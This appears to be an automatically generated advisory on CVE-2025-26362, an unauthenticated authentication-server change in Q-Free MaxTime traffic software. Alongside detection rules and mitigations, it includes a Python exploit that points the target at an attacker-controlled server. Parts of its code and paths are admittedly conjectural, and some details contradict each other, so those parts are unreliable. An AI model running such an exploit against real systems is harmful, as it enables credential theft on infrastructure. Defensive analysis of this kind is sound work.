CVE-2025-26362

Executive Summary

CVE-2025-26362 is a critical vulnerability in Q-Free MaxTime, a traffic management system. The flaw resides in the maxprofile/setup/routes.lua file and is classified as CWE-306: Missing Authentication for Critical Function. An unauthenticated, remote attacker can exploit this by sending crafted HTTP requests to set an arbitrary authentication profile server. This effectively allows the attacker to redirect authentication traffic to a server they control, leading to credential theft, session hijacking, or complete compromise of the authentication mechanism. The CVSS score is 7.5 (High), and the EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the impact is severe. No patch is currently available from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): None (N) – No direct data exposure.
• Integrity (I): High (H) – The attacker can modify authentication server settings.
• Availability (A): None (N) – No direct denial of service.

Threat Level: High. The ability to redirect authentication traffic without credentials is a severe integrity violation, enabling further attacks like credential harvesting and lateral movement.

Deep Dive & Mechanics

The vulnerability is located in the maxprofile/setup/routes.lua file of Q-Free MaxTime (version 2.11.0 and earlier). This file likely handles API routing for configuration endpoints. The specific endpoint responsible for setting the authentication profile server does not enforce any authentication or authorization checks. An attacker can send a crafted HTTP request (e.g., POST or PUT) to this endpoint with parameters specifying a malicious authentication server (e.g., an attacker-controlled IP or domain). Once set, all subsequent authentication requests from the MaxTime system will be forwarded to the attacker's server, allowing the attacker to capture credentials, issue fake tokens, or deny service.

The attack flow:

1. Attacker identifies a vulnerable Q-Free MaxTime instance (e.g., via Shodan).
2. Attacker sends a crafted HTTP request to /maxprofile/setup/routes.lua (or similar path) with a payload like auth_server=http://attacker.com.
3. The system accepts the change without authentication.
4. All future authentication attempts are redirected to the attacker's server.
5. Attacker harvests credentials or performs man-in-the-middle attacks.

Vulnerable vs. Patched Code

Vulnerable Code (maxprofile/setup/routes.lua - conceptual):

-- No authentication check
function handle_set_auth_server(req, res)
    local auth_server = req.params.auth_server
    -- Directly sets the auth server without validation
    config.set_auth_server(auth_server)
    res:send("OK")
end

Patched Code (hypothetical):

-- Authentication check added
function handle_set_auth_server(req, res)
    if not req.session or not req.session.authenticated then
        res:status(401):send("Unauthorized")
        return
    end
    local auth_server = req.params.auth_server
    -- Validate the server URL
    if not is_valid_url(auth_server) then
        res:status(400):send("Invalid URL")
        return
    end
    config.set_auth_server(auth_server)
    res:send("OK")
end

The patch would require a valid session token and input validation. Since no official patch exists, users must implement workarounds.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable Q-Free MaxTime instance (version <= 2.11.0).
• Network access to the target.

Exploit Steps:

1. Identify the target endpoint (e.g., via Shodan or manual discovery).
2. Send a crafted HTTP request to set a malicious authentication server.

Example Exploit (Python):

import requests

target = "http://target-ip:port"
malicious_server = "http://attacker-controlled-server.com"

# Craft the request to set the auth server
payload = {
    "auth_server": malicious_server
}

# Send POST request to the vulnerable endpoint
response = requests.post(f"{target}/maxprofile/setup/routes.lua", data=payload)

if response.status_code == 200:
    print("[+] Authentication server redirected to attacker server.")
else:
    print("[-] Exploit failed.")

Expected Outcome: The target system now uses the attacker's server for authentication. The attacker can set up a fake authentication page to capture credentials.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual HTTP requests to /maxprofile/setup/routes.lua or similar paths.
• Alert on changes to authentication server configuration without prior authentication.
• Use network monitoring to detect outbound connections to unknown or suspicious servers from the MaxTime system.

Hunting:

• Search logs for auth_server parameter in POST requests.
• Check for unauthorized configuration changes in the MaxTime system.

Mitigation (Temporary):

• Restrict network access to the MaxTime management interface using firewalls or ACLs.
• Implement a reverse proxy (e.g., Nginx) to require authentication before forwarding requests to the vulnerable endpoint.
• Monitor for any changes to the authentication server setting.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /maxprofile/setup/routes.lua with auth_server parameter.
  • Outbound connections from the MaxTime system to unknown IPs/domains on ports 80/443.
• File IOCs:
  • Modified configuration files in the MaxTime installation directory (e.g., config.lua or similar).
• Log IOCs:
  • Log entries showing changes to authentication server settings without a valid session.
• Behavioral IOCs:
  • Users reporting failed authentication or being redirected to unexpected login pages.

Detection Engineering

YARA Rule

rule CVE_2025_26362_QFree_MaxTime_Auth_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-26362 in Q-Free MaxTime"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26362"
    strings:
        $s1 = "auth_server" ascii wide nocase
        $s2 = "routes.lua" ascii wide nocase
        $s3 = "maxprofile" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-26362 - Q-Free MaxTime Authentication Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint in Q-Free MaxTime
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/maxprofile/setup/routes.lua'
        cs-uri-query|contains: 'auth_server'
    condition: selection
falsepositives:
    - Legitimate administrative actions (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26362 - Q-Free MaxTime Authentication Bypass Attempt"; flow:to_server; content:"POST"; http_method; content:"/maxprofile/setup/routes.lua"; http_uri; content:"auth_server"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate the MaxTime management interface from untrusted networks (e.g., the internet). Use firewalls to restrict access to only trusted IPs.
2. Reverse Proxy Authentication: Place a reverse proxy (e.g., Nginx, Apache) in front of the MaxTime web interface and require authentication at the proxy level.
3. Monitor Logs: Enable detailed logging for all HTTP requests and monitor for suspicious activity targeting the vulnerable endpoint.
4. Vendor Contact: Reach out to Q-Free for an official patch or mitigation guidance. Since the patch status is unknown, pressure the vendor for a fix.

Long-Term Fix:

• Apply an official patch when released by Q-Free.
• If patching is not possible, consider upgrading to a newer version of MaxTime (if available) or migrating to an alternative solution.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Expert System. For questions, contact security@valters-it.com.